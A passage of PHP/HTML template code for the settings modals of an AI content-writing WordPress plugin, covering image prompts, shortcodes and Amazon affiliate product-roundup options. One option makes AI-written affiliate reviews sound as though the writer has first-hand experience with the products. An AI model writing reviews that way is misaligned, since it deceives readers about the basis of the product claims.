1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Image Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="ai_command_image" id="ai_command_image2" placeholder="Please insert a command for the AI image generator" class="valuesai2 cr_width_full">Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this post title: "%%post_title%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.</textarea> </td> </tr> <tr class="hideDalle2 cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="image_model2" name="image_model" class="valuesai2 cr_width_full"> <option value="dalle2"selected><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3"><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd"><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg2 cr_none"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model2" name="image_size" class="valuesai2 cr_width_full"> <option value="256x256"><?php echo esc_html__("256x256", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512"><?php echo esc_html__("512x512", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" selected><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Prepend To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="post_prepend" id="post_prepend2" placeholder="HTML content to prepend to the AI generated content" class="valuesai2 cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Append To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="post_append" id="post_append2" placeholder="HTML content to append to the AI generated content" class="valuesai2 cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Shortcode Creator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b><span class="tool" data-tip="Supported models: <?php echo implode(',', aiomatic_get_all_models());?>"> ⓘ</span> </td> <td> <textarea rows="2" cols="70" name="custom_shortcodes" id="custom_shortcodes2" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="valuesai2 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title2" name="strip_title" class="valuesai2"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin2" name="skip_spin" class="valuesai2"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate2" name="skip_translate" class="valuesai2"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to process added YouTube videos in order of entry or in random order.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Process Videos In Order Of Entry:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="no_random2" name="no_random" class="valuesai2"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="strip_by_regex" id="strip_by_regex2" placeholder="regex expression" class="valuesai2 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="replace_regex" id="replace_regex2" placeholder="regex replacement" class="valuesai2 cr_width_full"></textarea> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok2" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> <div id="mymodalfzr3" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close3" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Amazon Product Roundup", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="assistant_id3" name="assistant_id" class="valuesai3 cr_width_full" onchange="assistantSelected('3');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" selected'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Amazon Search Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Amazon Associate ID (Optional). Learn how to get one <a href='%s' target='_blank'>here</a>. Also, you need to sign up for Amazon Affiliate program <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html', 'https://affiliate-program.amazon.com/assoc_credentials/home' ); ?> </div> </div> <b><?php echo esc_html__("Amazon Associate ID (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="affiliate_id" id="affiliate_id3" value="" placeholder="Please insert your Amazon Affiliate ID" class="valuesai3 cr_width_full"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the country where you have registred your affiliate account.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Amazon Target Country:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="source3" name="target_country" class="valuesai3 cr_width_full"> <?php $amaz_countries = aiomatic_get_amazon_codes(); foreach ($amaz_countries as $key => $value) { echo '<option value="' . esc_html($key) . '">' . esc_html($value) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to set a minimum price for the imported item? Price is in pennies: 1000 is 10$.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Min Price in Pennies:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="1" id="min_price3" name="min_price" class="valuesai3 cr_width_full" placeholder="Input the minimum price in pennies"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to set a maximum price for the imported item? Price is in pennies: 1000 is 10$.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Max Price in Pennies:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="1" id="max_price3" name="max_price" class="valuesai3 cr_width_full" placeholder="Input the maximum price in pennies"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the maximum number of products to include in the product roundup article. You can also enter number ranges like: 3-4", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Max Number Of Products To Include:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="max_products3" name="max_products" placeholder="3-4" class="valuesai3 cr_width_full" value="3-4"> </td> </tr> <tr> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the type of sorting of the returned results. This will work only if you also set a value to the 'Amazon Category' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Sort Results By:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="sort_results3" name="sort_results" class="valuesai3 cr_width_full"> <option value="none" selected><?php echo esc_html__("None", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Relevance"><?php echo esc_html__("Relevance", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Price:LowToHigh"><?php echo esc_html__("Price:LowToHigh", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Price:HighToLow"><?php echo esc_html__("Price:HighToLow", 'aiomatic-automatic-ai-content-writer');?></option> <option value="NewestArrivals"><?php echo esc_html__("NewestArrivals", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Featured"><?php echo esc_html__("Featured", 'aiomatic-automatic-ai-content-writer');?></option> <option value="AvgCustomerReviews"><?php echo esc_html__("AvgCustomerReviews", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If enabled, the products will be shuffled, randomizing their order on each run.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Randomize Product Order:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="shuffle_products3" name="shuffle_products" class="valuesai3" checked> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Writer Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If enabled, the article will be written from a perspective that sometimes can make it sound like the writer has first-hand experience with the products.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable First-Hand Experience:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="first_hand3" name="first_hand" class="valuesai3"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select what you want to do with product titles in articles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Product Titles To Content As:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai3 cr_width_full" id="sections_role3" name="sections_role"> <option value="h2" selected><?php echo esc_html__("h2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="h3"><?php echo esc_html__("h3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="b"><?php echo esc_html__("Bold", 'aiomatic-automatic-ai-content-writer');?></option> <option value="i"><?php echo esc_html__("Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bi"><?php echo esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="p"><?php echo esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer');?></option> <option value="x"><?php echo esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="no"><?php echo esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Paragraphs Per Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="paragraph_count3" name="paragraph_count" placeholder="2-3" class="valuesai3 cr_width_full" value="2"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add the product images to the article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Product Images To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="topic_images3" name="topic_images" class="valuesai3" checked> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you don't want to add the product links directly to headings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Don't Add Product Links to Headings:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="no_headlink3" name="no_headlink" class="valuesai3"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you would like to add a relevant YouTube video to the end of the created article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add A Relevant YouTube Video To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="topic_videos3" name="topic_videos" class="valuesai3"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="title_outro" id="title_outro3" value="{Experience the Difference|Unlock Your Potential|Elevate Your Lifestyle|Embrace a New Era|Seize the Opportunity|Discover the Power|Transform Your World|Unleash Your True Potential|Embody Excellence|Achieve New Heights|Experience Innovation|Ignite Your Passion|Reveal the Extraordinary}" placeholder="Optional" class="valuesai3 cr_width_full"> </td> </tr> <tr> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article 'Table Of Contents':", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="checkbox" id="enable_toc3" name="enable_toc" class="valuesai3"> </td> </tr> <tr> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article 'Table Of Contents' Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="text" name="title_toc" id="title_toc3" value="Table of Contents" placeholder="Table of Contents" class="valuesai3 cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article 'Q&A' Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_qa3" name="enable_qa" class="valuesai3"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article 'Q&A' Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="title_qa" id="title_qa3" value="Q&A" placeholder="Q&A" class="valuesai3 cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a product comparison table to the created article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Product Comparison Table:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_table3" name="enable_table" class="valuesai3"> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Content Parameters", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Language:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="content_language3" name="content_language" type="text" list="languages4" placeholder="Created content language" class="valuesai3 coderevolution_gutenberg_input" value="English"/> <datalist id="languages4"> <?php foreach($aiomatic_language_names as $ln) { echo '<option>' . $ln . '</option>'; } ?> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Style:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_style3" name="writing_style" type="text" placeholder="Created content writing style" list="writing_styles4" class="valuesai3 coderevolution_gutenberg_input" value="Creative"/> <datalist id="writing_styles4"> <option>Informative</option> <option>Academic</option> <option>Descriptive</option> <option>Detailed</option> <option>Dramative</option> <option>Fiction</option> <option>Expository</option> <option>Historical</option> <option>Dialogue</option> <option>Creative</option> <option>Critical</option> <option>Narrative</option> <option>Persuasive</option> <option>Reflective</option> <option>Argumentative</option> <option>Analytical</option> <option>Blog</option> <option>News</option> <option>Casual</option> <option>Pastoral</option> <option>Personal</option> <option>Poetic</option> <option>Satirical</option> <option>Sensory</option> <option>Articulate</option> <option>Monologue</option> <option>Colloquial</option> <option>Comparative</option> <option>Concise</option> <option>Biographical</option> <option>Anecdotal</option> <option>Evaluative</option> <option>Letter</option> <option>Lyrical</option> <option>Simple</option> <option>Vivid</option> <option>Journalistic</option> <option>Technical</option> <option>Direct</option> <option>Emotional</option> <option>Metaphorical</option> <option>Objective</option> <option>Rhetorical</option> <option>Theoretical</option> <option>Business</option> <option>Report</option> <option>Research</option> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Tone:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_tone3" name="writing_tone" type="text" list="writing_tones4" placeholder="Created content writing tone" class="valuesai3 coderevolution_gutenberg_input" value="Neutral"/> <datalist id="writing_tones4"> <option>Neutral</option> <option>Formal</option> <option>Assertive</option> <option>Cheerful</option> <option>Humorous</option> <option>Informal</option> <option>Inspirational</option> <option>Professional</option> <option>Emotional</option> <option>Persuasive</option> <option>Supportive</option> <option>Sarcastic</option> <option>Condescending</option> <option>Skeptical</option> <option>Narrative</option> <option>Journalistic</option> <option>Conversational</option> <option>Factual</option> <option>Friendly</option> <option>Polite</option> <option>Scientific</option> <option>Sensitive</option> <option>Sincere</option> <option>Curious</option> <option>Dissapointed</option> <option>Encouraging</option> <option>Optimistic</option> <option>Surprised</option> <option>Worried</option> <option>Confident</option> <option>Authoritative</option> <option>Nostalgic</option> <option>Sympathetic</option> <option>Suspenseful</option> <option>Romantic</option> <option>Serious</option> </datalist> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Prompts", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: 